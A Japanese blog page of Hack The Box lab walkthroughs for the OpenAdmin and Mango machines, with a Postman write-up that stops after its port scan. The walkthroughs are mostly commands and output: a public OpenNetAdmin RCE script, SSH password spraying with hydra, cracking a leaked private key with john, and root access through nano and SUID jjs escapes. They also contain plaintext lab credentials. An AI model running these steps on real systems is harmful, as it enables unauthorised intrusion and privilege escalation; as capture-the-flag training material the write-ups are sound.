Hack The Box - OpenAdmin (walkthrough without Metasploit)

Machineの概要

OS:Linux

難易度:Easy

/etc/hostsopenadmin.htbを追記しました。

 

0. Summary

User:OpenNetAdminのExploitコードを使用し、ローレベルシェルでひたすら列挙するだけでした。

Root:root権限で実行できるコマンドを用いることで権限昇格が行えました。

Apacheを使用したとがあればEasyなはずです。

1. ポートスキャン

# Nmap 7.80 scan initiated Mon Apr 27 04:09:21 2020 as: nmap -sT -sC -sV -A -oA initial openadmin.htb
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/27%OT=22%CT=1%CU=32035%PV=Y%DS=2%DC=T%G=Y%TM=5EA5DCA
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   238.49 ms 10.10.14.1
2   238.54 ms openadmin.htb (10.10.10.171)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 27 04:10:36 2020 -- 1 IP address (1 host up) scanned in 75.09 seconds

2.各ポートの調査

2.1. Port 80

Apcheのデフォルトページです。特に何もありませんでした。

f:id:shibax86ken:20200503063847p:plain

Port 80

 

他のページを列挙してみるとmusicというページが見つかりました。。

root@kali$ gobuster dir -u openadmin.htb -w directory-list-2.3-medium.txt -o gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://openadmin.htb
[+] Threads:        10
[+] Wordlist:       directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/04/27 04:11:39 Starting gobuster
===============================================================
/music (Status: 301)
Progress: 638 / 220561 (0.29%)

 

f:id:shibax86ken:20200503064151p:plain

music

 

さらに右上のLoginを押すと、onaというページに遷移しました。

f:id:shibax86ken:20200503064519p:plain

ona

 

3. ローレベルシェルの取得

OpenNetAdmin 18.1.1脆弱性を使用してRCEを行います。

GitHub - amriunix/ona-rce: OpenNetAdmin 18.1.1 - Remote Code Execution

root@kal$ python3 ona-rce.py exploit http://openadmin.htb/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ ls -al /home
total 16
drwxr-xr-x  4 root   root   4096 Nov 22 18:00 .
drwxr-xr-x 24 root   root   4096 Nov 21 13:41 ..
drwxr-x---  6 jimmy  jimmy  4096 Apr 26 19:27 jimmy
drwxr-x---  6 joanna joanna 4096 Nov 28 09:37 joanna

4. user.txtの取得

OpenNetAdminのデータベース設定を見てみると、認証情報が見るかりました。

sh$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>

取得した認証情報を使用してSSHログインを試みます。

root@kali$ cat user.txt 
jimmy
joanna
root@kali$ cat pass.txt 
n1nj4W4rri0R!
root@kali$ hydra -L user.txt -P pass.txt openadmin.htb ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-03 07:00:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:2/p:1), ~1 try per task
[DATA] attacking ssh://openadmin.htb:22/
[22][ssh] host: openadmin.htb   login: jimmy   password: n1nj4W4rri0R!
1 of 1 target successfully completed, 1 valid password found
root@kali$ ssh jimmy@openadmin.htb
jimmy@openadmin:~$

 

/var/www/の中にgobusterでは発見できなかったinternalを発見しました。

その中のmain.phpはアクセスすると、joanna秘密鍵を表示する様です。

jimmy@openadmin:/var/www/internal$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

 

internalPort 52846でリッスンしていることが分かりました。

jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

 

アクセスして秘密鍵を取得します。

<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

 

秘密鍵をクラックしてみます。

root@kali$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hsah
root@kali$ cat id_rsa.hsah 
id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d
root@kali$ john --wordlist=rockyou.txt id_rsa.hsah 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (id_rsa)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:07 DONE (2020-04-27 04:53) 0.1251g/s 1794Kp/s 1794Kc/s 1794KC/s *7¡Vamos!
Session completed

 

joannaとしてSHHへログインし、user.txtを取得します。

root@kali$ chmod 600 id_rsa
root@kali$ ssh joanna@openadmin.htb -i id_rsa
Enter passphrase for key 'id_rsa': 
joanna@openadmin:~$ cat user.txt | wc -c
33

5. root.txtの取得

/bin/nanoをroot権限で実行できる様です。

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

みんな大好きGTFOBinsです。

nano | GTFOBins

Command to execute: reset; sh 1>&0 2>&0#                                                                                                                                                                                                      
#  Get Help                                                                                                            ^X Read File
#  Cancel                                                                                                              M-F New Buffer
# 
# 
# 
# 
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt | wc -c
33

Hack The Box - Mango (walkthrough)

Machineの概要

OS:Linux

難易度:Medium

/etc/hostsmango.htbを追記しました。

0. Summary

User:MongoDBへのNoSQL Injectionを行うことで、資格情報を獲得できました。

Root:SUIDフラグの立っているファイルを用いることで権限昇格が行えました。

NoSQL Injectionさえできてしまえば難易度はEasyです。

1. ポートスキャン

# Nmap 7.80 scan initiated Sun Oct 27 09:10:01 2019 as: nmap -sV -sC -A -oA namp/initial mango.htb
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/27%OT=22%CT=1%CU=36846%PV=Y%DS=2%DC=T%G=Y%TM=5DB4E0
OS:84%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%
OS:O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2
OS:=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   183.81 ms 10.10.14.1
2   183.89 ms mango.htb (10.10.10.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 27 09:10:44 2019 -- 1 IP address (1 host up) scanned in 42.48 seconds

2. 各ポートの調査

2.1. Port 22

特になし。

 

2.2. Port 80

port80は403が返ってきます。

DirBを使用しても有用なファイルは見つかりませんでした。

f:id:shibax86ken:20200417222424j:plain

port80

 

2.3. Port 443

Googleの様なトップページが現れますが、足がかりになるようなものは見つかりません。

f:id:shibax86ken:20200417223433p:plain

port443

 

そこで改めてnampの出力えを見てみると、証明のコモンネームがstaging-order.mango.htbであることが分かりました。

/etc/hostsstaging-order.mango.htbを追記します。

f:id:shibax86ken:20200418230748p:plain

ssl-cert

 

3. 新しいドメインページの調査

アクセスするとログインページが現れます。

f:id:shibax86ken:20200418231832j:plain

staging-order.mango.htb

 

私はここで行き詰まり、Formでヒントを探しました。

すると、どうやらこのMachine名が重要であることが分かりました。

「ログインページがある。」、「Machine名が重要である。」ことから、データベースにはMongo DBが使用されているのではないかという仮説をたてました。

3.1. Mongo DBへの攻撃

Mongo DBはNoSQLデータベースです。

PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHubに掲載されていたコードを改造して攻撃しました

得られた資格情報は2つです。

admin: t9KcS3>!0B#2
mango: h3mXK8RhU~f{]f5H

4. user.txtの取得

NoSQL Injectionで得られたmangoの資格情報をSSHで使用できました。

root@kali$ ssh mango@mango.htb 
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr 17 11:52:50 UTC 2020

  System load:  0.12               Processes:            131
  Usage of /:   27.3% of 19.56GB   Users logged in:      1
  Memory usage: 37%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr 17 11:10:46 2020 from 10.10.14.46

mango@mango:~$

user.txtを探していると、adminユーザーのホームディレクトリ下にありました。

mango@mango:~$ cd /home/
mango@mango:/home$ ls
admin  mango
mango@mango:/home$ cd admin/
mango@mango:/home/admin$ ls -la
total 36
drwxr-xr-x 3 admin admin 4096 Apr 17 11:32 .
drwxr-xr-x 4 root  root  4096 Sep 27  2019 ..
lrwxrwxrwx 1 admin admin    9 Sep 27  2019 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 admin admin 3771 Apr  4  2018 .bashrc
-rw-rw-r-- 1 root  admin 2078 Apr 17 11:46 .jjs.history
drwxrwxr-x 3 admin admin 4096 Apr 17 10:22 .local
-rw-r--r-- 1 admin admin  807 Apr  4  2018 .profile
-r-------- 1 admin admin   33 Sep 27  2019 user.txt
-rw------- 1 admin admin 1022 Apr 17 10:25 .viminfo
mango@mango:/home/admin$ cat user.txt 
cat: user.txt: Permission denied

read権限はありませんが、NoSQL Injectionsで得た資格情報を使用できました。

mango@mango:/home/admin$ su admin 
Password: 
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
admin@mango:/home/admin$ cat user.txt | wc -c
33

5. root.txtの取得

LinEnumで権限昇格の足がかりを見つけます。

admin@mango:/home/admin$ ./LinEnum.sh
-- snip --
[-] SGID files:
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /snap/core/7713/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /snap/core/7713/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25  2019 /snap/core/7713/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr  5  2016 /snap/core/7713/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /snap/core/7713/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25  2019 /snap/core/7713/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7713/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7713/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7713/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Mar  4  2019 /snap/core/7713/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 15  2019 /snap/core/7713/usr/bin/wall
-rwsr-sr-x 1 root root 106696 Aug 30  2019 /snap/core/7713/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /snap/core/6350/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /snap/core/6350/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 May 17  2017 /snap/core/6350/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr  5  2016 /snap/core/6350/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /snap/core/6350/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 May 17  2017 /snap/core/6350/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/6350/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Nov  5  2018 /snap/core/6350/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 16  2018 /snap/core/6350/usr/bin/wall
-rwsr-sr-x 1 root root 98472 Jan 29  2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root tty 30800 Oct 15  2018 /usr/bin/wall
-rwxr-sr-x 1 root ssh 362640 Mar  4  2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root crontab 39352 Nov 16  2017 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Jan 25  2018 /usr/bin/chage
-rwxr-sr-x 1 root tty 14328 Jan 17  2018 /usr/bin/bsd-write
-rwsr-sr-x 1 root root 18161 Jul 15  2016 /usr/bin/run-mailcap
-rwxr-sr-x 1 root shadow 22808 Jan 25  2018 /usr/bin/expiry
-rwsr-sr-x 1 daemon daemon 51464 Feb 20  2018 /usr/bin/at
-rwxr-sr-x 1 root mlocate 43088 Mar  1  2018 /usr/bin/mlocate
-rwxr-sr-x 1 root utmp 10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-x 1 root root 101240 Mar 15  2019 /usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 34816 Apr  5  2018 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 34816 Apr  5  2018 /sbin/unix_chkpwd
-- snip --

有用な情報が見つけられなかったので、SUIDフラグのたったファイルの中から使えそうなものを見つけます。

みんな大好きGTFOBinsです。

条件に合う/usr/lib/jvm/java-11-openjdk-amd64/bin/jjsを使用します。

Hack The Boxではrootディレクトリの下にroot.txtがあるので、手っ取り早くreadしました。

admin@mango:/home/mango$ echo 'var BufferedReader = Java.type("java.io.BufferedRe
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
[root.txt]
jjs> admin@mango:/home/mango$ 

Privilege Escalationは行っていませんが、/etc/shadow/のread、/root/.ssh/.authenticated_hostsへのwrite、/root/.ssh/id_rsのread等を行えば権限昇格できるはずです。

Hack The Box - Postman (walkthrough)

Machineの概要

OS:Linux

難易度:Easy

/etc/hostspostman.htbを追記しました。

1. ポートスキャン

# Nmap 7.80 scan initiated Sun Nov  3 17:17:31 2019 as: nmap -sV -sC -A -oA initial postman.htb
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/3%OT=22%CT=1%CU=41823%PV=Y%DS=2%DC=T%G=Y%TM=5DBE8D5
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   192.93 ms 10.10.14.1
2   192.98 ms postman.htb (10.10.10.160)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
